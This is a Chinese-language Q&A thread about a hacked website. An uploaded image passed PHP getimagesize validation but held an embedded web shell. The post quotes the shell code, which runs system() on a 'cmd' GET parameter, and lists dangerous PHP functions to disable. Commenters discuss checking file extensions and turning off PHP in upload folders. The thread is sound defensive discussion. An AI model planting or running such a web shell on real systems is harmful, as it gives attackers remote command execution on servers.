【发布时间】:2011-03-30 18:36:30
【问题描述】:
昨天我的网站被组成了。攻击者将 index.php 文件更改为他们自己的文件(以及他们所有的荣耀消息和问候)。我已将此通知托管公司(我们在专用服务器上运行),就我而言,我正在尝试修复任何似乎是原因的问题,因为我仍然无法指出我们的具体情况如何服务器遭到攻击,但我想我发现了某些可能是罪魁祸首的基于脚本的漏洞。
我们的网站有一个图片上传表单,但是所有上传的图片都是通过使用 php getimagesize 函数来验证它们是否确实是图片文件而不是一些代码。仅当图像类型为 IMAGETYPE_GIF、IMAGETYPE_JPEG 或 IMAGETYPE_PNG 时,它们才会被接受。否则,他们将无法上传文件。但是我发现一个上传的图像文件里面包含一个 php 脚本!您可以下载图片here。这是一个有效的图像文件,但尝试使用任何文本编辑器打开图像,您会在其中找到一个 php 代码:
<?php
echo "<pre>"; system($_GET['cmd']); echo "</pre>";
?>
例如,图片上传到此位置 (www.mysite.com/uploads/piccodes.jpg)。请注意,文件夹上传的权限是 755。世界上有什么方法可以让攻击者执行系统(或任何其他命令,例如 passthru,因为我们发现另一个图像隐藏了与上面相同的代码,但不是系统,它有 passthru 命令),例如,键入 www.mysite.com/uploads/picodes.jpg?cmd=some command ??据我所知,这是无法完成的(如果有人能证明我错了,真的很感激),除非攻击者可以将 jpg 文件重命名为 php,即使这样,这些代码也隐藏在图像的深处(请看里面的图像文本编辑器来理解我想说的话)
为预防起见,我已通过将这些 php 函数(exec、passthru、proc_close、proc_get_status、proc_nice、proc_open、proc_terminate、shell_exec、system)添加到 php.ini 中的 disable_functions 中来禁用它们。
无论如何,我仍然认为攻击者不是通过网络,而是通过服务器漏洞获得访问权限,但我认为我的托管公司不这么认为。
【问题讨论】:
-
根据您的服务器配置,如果您的图像验证程序不检查文件名,则可能会被利用,例如如果攻击者上传的文件名称带有
.php扩展名。但这确实是服务器故障的问题。这是你想知道的吗? -
感谢david的回复,不过正如我上面提到的,所有上传的文件都是先检查的;只有当它们是图像文件(gif、jpg 或 png)时才会被接受。否则将被丢弃。因此,上传带有 .php 扩展名的文件或任何其他带有任何扩展名的原始代码肯定会失败。
-
好吧,您说您使用
getimagesize来验证图像是否为图像,但该函数不检查文件扩展名。它只查看文件的内容。 (试试看:将picodes.jpg重命名为picodes.php,看看getimagesize("picodes.php")给了你什么。)所以你还需要明确检查文件上传的名称,并确保它与返回的图像类型匹配getimagesize. -
天啊...我怎么能忘记这种事??!!非常感谢大卫!
-
php_admin_flag engine off对于您存储上传的所有目录/位置应该是 Apache 配置的一部分。
标签: php image security upload exploit